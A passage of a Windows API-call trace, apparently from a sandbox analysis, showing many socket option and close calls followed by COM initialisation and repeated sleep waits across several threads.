[0284.984] setsockopt (s=0x19ac, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.984] closesocket (s=0x19ac) returned 0
[0284.984] setsockopt (s=0x200c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.984] closesocket (s=0x200c) returned 0
[0284.985] setsockopt (s=0x7d8, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.985] closesocket (s=0x7d8) returned 0
[0284.985] setsockopt (s=0x1304, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.985] closesocket (s=0x1304) returned 0
[0284.985] setsockopt (s=0x7b8, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.985] closesocket (s=0x7b8) returned 0
[0284.986] setsockopt (s=0x12e4, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.986] closesocket (s=0x12e4) returned 0
[0284.986] setsockopt (s=0x798, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.986] closesocket (s=0x798) returned 0
[0284.986] setsockopt (s=0x198c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.986] closesocket (s=0x198c) returned 0
[0284.986] setsockopt (s=0x1d88, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.986] closesocket (s=0x1d88) returned 0
[0284.987] setsockopt (s=0x778, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.987] closesocket (s=0x778) returned 0
[0284.987] setsockopt (s=0x12c4, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.987] closesocket (s=0x12c4) returned 0
[0284.987] setsockopt (s=0x216c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.987] closesocket (s=0x216c) returned 0
[0284.988] setsockopt (s=0x758, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.988] closesocket (s=0x758) returned 0
[0284.988] setsockopt (s=0x196c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.988] closesocket (s=0x196c) returned 0
[0284.989] setsockopt (s=0x738, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.989] closesocket (s=0x738) returned 0
[0284.989] setsockopt (s=0x12a4, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.989] closesocket (s=0x12a4) returned 0
[0284.989] setsockopt (s=0x1fe8, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.989] closesocket (s=0x1fe8) returned 0
[0284.990] setsockopt (s=0x65c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.990] closesocket (s=0x65c) returned 0
[0284.990] setsockopt (s=0x67c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.990] closesocket (s=0x67c) returned 0
[0284.990] setsockopt (s=0x688, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.990] closesocket (s=0x688) returned 0
[0284.990] setsockopt (s=0x694, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.990] closesocket (s=0x694) returned 0
[0284.991] setsockopt (s=0x6a0, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.991] closesocket (s=0x6a0) returned 0
[0284.991] setsockopt (s=0x6ac, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.991] closesocket (s=0x6ac) returned 0
[0284.991] setsockopt (s=0x6b8, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.991] closesocket (s=0x6b8) returned 0
[0284.991] setsockopt (s=0x6c4, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.991] closesocket (s=0x6c4) returned 0
[0284.992] setsockopt (s=0x6d0, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.992] closesocket (s=0x6d0) returned 0
[0284.992] setsockopt (s=0x6dc, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.992] closesocket (s=0x6dc) returned 0
[0284.992] setsockopt (s=0x6e8, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.992] closesocket (s=0x6e8) returned 0
[0284.992] setsockopt (s=0x6f4, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.992] closesocket (s=0x6f4) returned 0
[0284.992] setsockopt (s=0x700, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.992] closesocket (s=0x700) returned 0
[0284.993] setsockopt (s=0x70c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.993] closesocket (s=0x70c) returned 0
[0284.993] setsockopt (s=0x718, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.993] closesocket (s=0x718) returned 0
[0284.993] setsockopt (s=0x1284, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.993] closesocket (s=0x1284) returned 0
[0284.993] setsockopt (s=0x650, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.993] closesocket (s=0x650) returned 0
[0284.994] setsockopt (s=0x194c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.994] closesocket (s=0x194c) returned 0
[0284.994] setsockopt (s=0x1d68, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.994] closesocket (s=0x1d68) returned 0
[0284.994] setsockopt (s=0x1264, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.994] closesocket (s=0x1264) returned 0
[0284.995] setsockopt (s=0x224c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.995] closesocket (s=0x224c) returned 0
[0284.995] setsockopt (s=0x1244, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.995] closesocket (s=0x1244) returned 0
[0284.995] setsockopt (s=0x192c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.995] closesocket (s=0x192c) returned 0
[0284.996] setsockopt (s=0x22cc, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.996] closesocket (s=0x22cc) returned 0
[0284.996] setsockopt (s=0x1224, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.996] closesocket (s=0x1224) returned 0
[0284.996] setsockopt (s=0x1d48, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.996] closesocket (s=0x1d48) returned 0
[0284.997] setsockopt (s=0x190c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.997] closesocket (s=0x190c) returned 0
[0284.997] setsockopt (s=0x1204, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.997] closesocket (s=0x1204) returned 0
[0284.997] setsockopt (s=0x1fc8, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.997] closesocket (s=0x1fc8) returned 0
[0284.998] setsockopt (s=0x11e4, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.998] closesocket (s=0x11e4) returned 0
[0284.998] setsockopt (s=0x18ec, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.998] closesocket (s=0x18ec) returned 0
[0284.999] setsockopt (s=0x11c4, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.999] closesocket (s=0x11c4) returned 0
[0284.999] setsockopt (s=0x1d28, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.999] closesocket (s=0x1d28) returned 0
[0284.999] setsockopt (s=0x214c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0284.999] closesocket (s=0x214c) returned 0
[0285.000] setsockopt (s=0x11a4, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.000] closesocket (s=0x11a4) returned 0
[0285.000] setsockopt (s=0x18cc, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.000] closesocket (s=0x18cc) returned 0
[0285.001] setsockopt (s=0x1184, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.001] closesocket (s=0x1184) returned 0
[0285.001] setsockopt (s=0x18ac, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.001] closesocket (s=0x18ac) returned 0
[0285.002] setsockopt (s=0x1164, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.002] closesocket (s=0x1164) returned 0
[0285.003] setsockopt (s=0x1d08, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.004] closesocket (s=0x1d08) returned 0
[0285.004] setsockopt (s=0x1fa8, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.004] closesocket (s=0x1fa8) returned 0
[0285.004] setsockopt (s=0x24d0, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.005] closesocket (s=0x24d0) returned 0
[0285.006] setsockopt (s=0x1144, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.006] closesocket (s=0x1144) returned 0
[0285.006] setsockopt (s=0x222c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.006] closesocket (s=0x222c) returned 0
[0285.006] setsockopt (s=0x24b0, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.007] closesocket (s=0x24b0) returned 0
[0285.007] setsockopt (s=0x2490, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.007] closesocket (s=0x2490) returned 0
[0285.007] setsockopt (s=0x1124, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.007] closesocket (s=0x1124) returned 0
[0285.008] setsockopt (s=0x2510, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.008] closesocket (s=0x2510) returned 0
[0285.008] setsockopt (s=0x2470, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.008] closesocket (s=0x2470) returned 0
[0285.009] setsockopt (s=0x1ce8, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.009] closesocket (s=0x1ce8) returned 0
[0285.009] setsockopt (s=0x1104, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.009] closesocket (s=0x1104) returned 0
[0285.009] setsockopt (s=0x2450, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.009] closesocket (s=0x2450) returned 0
[0285.010] setsockopt (s=0x2430, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.010] closesocket (s=0x2430) returned 0
[0285.010] setsockopt (s=0x10e4, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.010] closesocket (s=0x10e4) returned 0
[0285.010] setsockopt (s=0x24f0, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.011] closesocket (s=0x24f0) returned 0
[0285.011] setsockopt (s=0x2410, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.011] closesocket (s=0x2410) returned 0
[0285.011] setsockopt (s=0x186c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.011] closesocket (s=0x186c) returned 0
[0285.012] setsockopt (s=0x1f88, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.012] closesocket (s=0x1f88) returned 0
[0285.012] setsockopt (s=0x23ec, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.012] closesocket (s=0x23ec) returned 0
[0285.012] setsockopt (s=0x10c4, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.013] closesocket (s=0x10c4) returned 0
[0285.013] setsockopt (s=0x1cc8, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.013] closesocket (s=0x1cc8) returned 0
[0285.013] setsockopt (s=0x23cc, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.014] closesocket (s=0x23cc) returned 0
[0285.014] setsockopt (s=0x10a4, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.014] closesocket (s=0x10a4) returned 0
[0285.014] setsockopt (s=0x23ac, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.014] closesocket (s=0x23ac) returned 0
[0285.015] setsockopt (s=0x184c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.015] closesocket (s=0x184c) returned 0
[0285.015] setsockopt (s=0x212c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.015] closesocket (s=0x212c) returned 0
[0285.015] setsockopt (s=0x234c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.015] closesocket (s=0x234c) returned 0
[0285.016] setsockopt (s=0x1084, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.016] closesocket (s=0x1084) returned 0
[0285.016] setsockopt (s=0x182c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.016] closesocket (s=0x182c) returned 0
[0285.017] setsockopt (s=0x1064, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.017] closesocket (s=0x1064) returned 0
[0285.017] setsockopt (s=0x1ca8, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.017] closesocket (s=0x1ca8) returned 0
[0285.017] setsockopt (s=0x1044, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.018] closesocket (s=0x1044) returned 0
[0285.018] setsockopt (s=0x180c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.018] closesocket (s=0x180c) returned 0
[0285.018] setsockopt (s=0x1f68, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.018] closesocket (s=0x1f68) returned 0
[0285.019] setsockopt (s=0x1024, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.019] closesocket (s=0x1024) returned 0
[0285.019] setsockopt (s=0x1004, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.019] closesocket (s=0x1004) returned 0
[0285.019] setsockopt (s=0x17e8, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.020] closesocket (s=0x17e8) returned 0
[0285.020] setsockopt (s=0x1c88, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.020] closesocket (s=0x1c88) returned 0
[0285.020] setsockopt (s=0xfe0, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.020] closesocket (s=0xfe0) returned 0
[0285.021] setsockopt (s=0x210c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.021] closesocket (s=0x210c) returned 0
[0285.021] setsockopt (s=0x17c8, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.021] closesocket (s=0x17c8) returned 0
[0285.021] setsockopt (s=0xfc0, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.022] closesocket (s=0xfc0) returned 0
[0285.022] setsockopt (s=0x1c68, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.022] closesocket (s=0x1c68) returned 0
[0285.022] setsockopt (s=0xfa0, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.022] closesocket (s=0xfa0) returned 0
[0285.023] setsockopt (s=0x17a8, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.023] closesocket (s=0x17a8) returned 0
[0285.023] setsockopt (s=0x1f48, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.023] closesocket (s=0x1f48) returned 0
[0285.024] setsockopt (s=0xf80, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.024] closesocket (s=0xf80) returned 0
[0285.024] setsockopt (s=0x220c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.024] closesocket (s=0x220c) returned 0
[0285.024] setsockopt (s=0xf60, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.025] closesocket (s=0xf60) returned 0
[0285.025] setsockopt (s=0x1788, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.025] closesocket (s=0x1788) returned 0
[0285.025] setsockopt (s=0x1c48, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.025] closesocket (s=0x1c48) returned 0
[0285.025] setsockopt (s=0xf40, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.026] closesocket (s=0xf40) returned 0
[0285.026] setsockopt (s=0x22ac, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.026] closesocket (s=0x22ac) returned 0
[0285.026] setsockopt (s=0x1768, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.026] closesocket (s=0x1768) returned 0
[0285.027] setsockopt (s=0xf20, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.027] closesocket (s=0xf20) returned 0
[0285.027] setsockopt (s=0x1f28, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.027] closesocket (s=0x1f28) returned 0
[0285.028] setsockopt (s=0xf00, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.028] closesocket (s=0xf00) returned 0
[0285.028] setsockopt (s=0x1748, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.028] closesocket (s=0x1748) returned 0
[0285.028] setsockopt (s=0x1c28, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.028] closesocket (s=0x1c28) returned 0
[0285.029] setsockopt (s=0xee0, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.029] closesocket (s=0xee0) returned 0
[0285.029] setsockopt (s=0x20ec, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.029] closesocket (s=0x20ec) returned 0
[0285.029] setsockopt (s=0xec0, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.030] closesocket (s=0xec0) returned 0
[0285.030] setsockopt (s=0x1728, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.030] closesocket (s=0x1728) returned 0
[0285.030] setsockopt (s=0x230c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.031] closesocket (s=0x230c) returned 0
[0285.031] setsockopt (s=0xea0, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.031] closesocket (s=0xea0) returned 0
[0285.031] setsockopt (s=0x1c08, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.031] closesocket (s=0x1c08) returned 0
[0285.032] setsockopt (s=0x1708, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.032] closesocket (s=0x1708) returned 0
[0285.032] setsockopt (s=0xe80, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.032] closesocket (s=0xe80) returned 0
[0285.032] setsockopt (s=0x1f08, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.033] closesocket (s=0x1f08) returned 0
[0285.033] setsockopt (s=0x236c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.033] closesocket (s=0x236c) returned 0
[0285.033] setsockopt (s=0xe60, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.033] closesocket (s=0xe60) returned 0
[0285.034] setsockopt (s=0x16e8, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.035] closesocket (s=0x16e8) returned 0
[0285.040] setsockopt (s=0xe40, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.040] closesocket (s=0xe40) returned 0
[0285.040] setsockopt (s=0x1be4, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.040] closesocket (s=0x1be4) returned 0
[0285.041] setsockopt (s=0xe20, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.041] closesocket (s=0xe20) returned 0
[0285.041] setsockopt (s=0x16c8, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.041] closesocket (s=0x16c8) returned 0
[0285.041] setsockopt (s=0xe00, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.042] closesocket (s=0xe00) returned 0
[0285.042] setsockopt (s=0x16a8, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.042] closesocket (s=0x16a8) returned 0
[0285.042] setsockopt (s=0xde0, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.043] closesocket (s=0xde0) returned 0
[0285.043] setsockopt (s=0x1bc4, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.043] closesocket (s=0x1bc4) returned 0
[0285.043] setsockopt (s=0x1ee8, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.043] closesocket (s=0x1ee8) returned 0
[0285.044] setsockopt (s=0x20cc, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.044] closesocket (s=0x20cc) returned 0
[0285.044] setsockopt (s=0xdc0, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.044] closesocket (s=0xdc0) returned 0
[0285.044] setsockopt (s=0x1688, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.045] closesocket (s=0x1688) returned 0
[0285.045] setsockopt (s=0x21ec, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.045] closesocket (s=0x21ec) returned 0
[0285.045] setsockopt (s=0xda0, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.045] closesocket (s=0xda0) returned 0
[0285.046] setsockopt (s=0x1ba4, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.046] closesocket (s=0x1ba4) returned 0
[0285.046] setsockopt (s=0xd80, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.046] closesocket (s=0xd80) returned 0
[0285.047] setsockopt (s=0x1668, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.047] closesocket (s=0x1668) returned 0
[0285.047] setsockopt (s=0x238c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.047] closesocket (s=0x238c) returned 0
[0285.048] setsockopt (s=0xd60, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.048] closesocket (s=0xd60) returned 0
[0285.048] setsockopt (s=0x1ec8, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.048] closesocket (s=0x1ec8) returned 0
[0285.048] setsockopt (s=0x1648, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.049] closesocket (s=0x1648) returned 0
[0285.049] setsockopt (s=0xd40, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.049] closesocket (s=0xd40) returned 0
[0285.049] setsockopt (s=0x1b84, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.049] closesocket (s=0x1b84) returned 0
[0285.050] setsockopt (s=0xd20, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.050] closesocket (s=0xd20) returned 0
[0285.050] setsockopt (s=0x1628, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.050] closesocket (s=0x1628) returned 0
[0285.050] setsockopt (s=0xd00, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.051] closesocket (s=0xd00) returned 0
[0285.051] setsockopt (s=0x20ac, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.051] closesocket (s=0x20ac) returned 0
[0285.052] setsockopt (s=0xce0, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.052] closesocket (s=0xce0) returned 0
[0285.052] setsockopt (s=0x1608, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.052] closesocket (s=0x1608) returned 0
[0285.053] setsockopt (s=0x1b64, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.053] closesocket (s=0x1b64) returned 0
[0285.053] setsockopt (s=0xcc0, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.053] closesocket (s=0xcc0) returned 0
[0285.053] setsockopt (s=0x1ea8, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.053] closesocket (s=0x1ea8) returned 0
[0285.054] setsockopt (s=0x15e8, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.054] closesocket (s=0x15e8) returned 0
[0285.054] setsockopt (s=0xca0, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.054] closesocket (s=0xca0) returned 0
[0285.055] setsockopt (s=0x228c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.055] closesocket (s=0x228c) returned 0
[0285.055] setsockopt (s=0x1b44, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.055] closesocket (s=0x1b44) returned 0
[0285.056] setsockopt (s=0xc80, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.056] closesocket (s=0xc80) returned 0
[0285.056] setsockopt (s=0x15c8, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.056] closesocket (s=0x15c8) returned 0
[0285.056] setsockopt (s=0xc60, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.057] closesocket (s=0xc60) returned 0
[0285.057] setsockopt (s=0x21cc, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.057] closesocket (s=0x21cc) returned 0
[0285.057] setsockopt (s=0xc40, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.057] closesocket (s=0xc40) returned 0
[0285.058] setsockopt (s=0x15a8, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.058] closesocket (s=0x15a8) returned 0
[0285.058] setsockopt (s=0x1b24, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.058] closesocket (s=0x1b24) returned 0
[0285.058] setsockopt (s=0xc20, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.059] closesocket (s=0xc20) returned 0
[0285.059] setsockopt (s=0x1e88, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.060] closesocket (s=0x1e88) returned 0
[0285.060] setsockopt (s=0x1588, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.060] closesocket (s=0x1588) returned 0
[0285.060] setsockopt (s=0xbfc, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.060] closesocket (s=0xbfc) returned 0
[0285.061] setsockopt (s=0x208c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.061] closesocket (s=0x208c) returned 0
[0285.061] setsockopt (s=0xbdc, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.061] closesocket (s=0xbdc) returned 0
[0285.062] setsockopt (s=0x1568, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.062] closesocket (s=0x1568) returned 0
[0285.062] setsockopt (s=0x1b04, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.062] closesocket (s=0x1b04) returned 0
[0285.062] setsockopt (s=0xbbc, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.063] closesocket (s=0xbbc) returned 0
[0285.063] setsockopt (s=0xb9c, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.063] closesocket (s=0xb9c) returned 0
[0285.063] setsockopt (s=0x1548, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0285.064] closesocket (s=0x1548) returned 0
[0285.065] SetEvent (hEvent=0x114) returned 1
Thread:
id = 4
os_tid = 0x7cc
Thread:
id = 5
os_tid = 0x5d8
[0152.093] CoGetContextToken (in: pToken=0x1b3afa60 | out: pToken=0x1b3afa60) returned 0x0
[0152.094] CObjectContext::QueryInterface () returned 0x0
[0152.094] CObjectContext::GetCurrentThreadType () returned 0x0
[0152.094] Release () returned 0x0
Thread:
id = 6
os_tid = 0x7dc
[0072.221] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0072.357] SleepEx (dwMilliseconds=0x1f4, bAlertable=1) returned 0x0
[0072.880] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0073.908] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0076.838] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0081.035] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0082.049] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0084.300] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0085.960] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0089.771] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0097.167] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0108.030] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0109.813] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0111.049] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0112.095] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0113.155] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0114.350] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0115.355] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0116.387] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0117.415] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0118.475] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0119.539] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0120.566] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0121.595] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0122.628] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0123.669] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0124.747] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0125.963] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0127.013] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0128.381] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0129.412] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0130.924] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0132.246] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0135.143] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0136.910] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0138.024] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0139.036] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0140.089] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0141.097] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0142.109] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0143.123] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
[0144.137] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
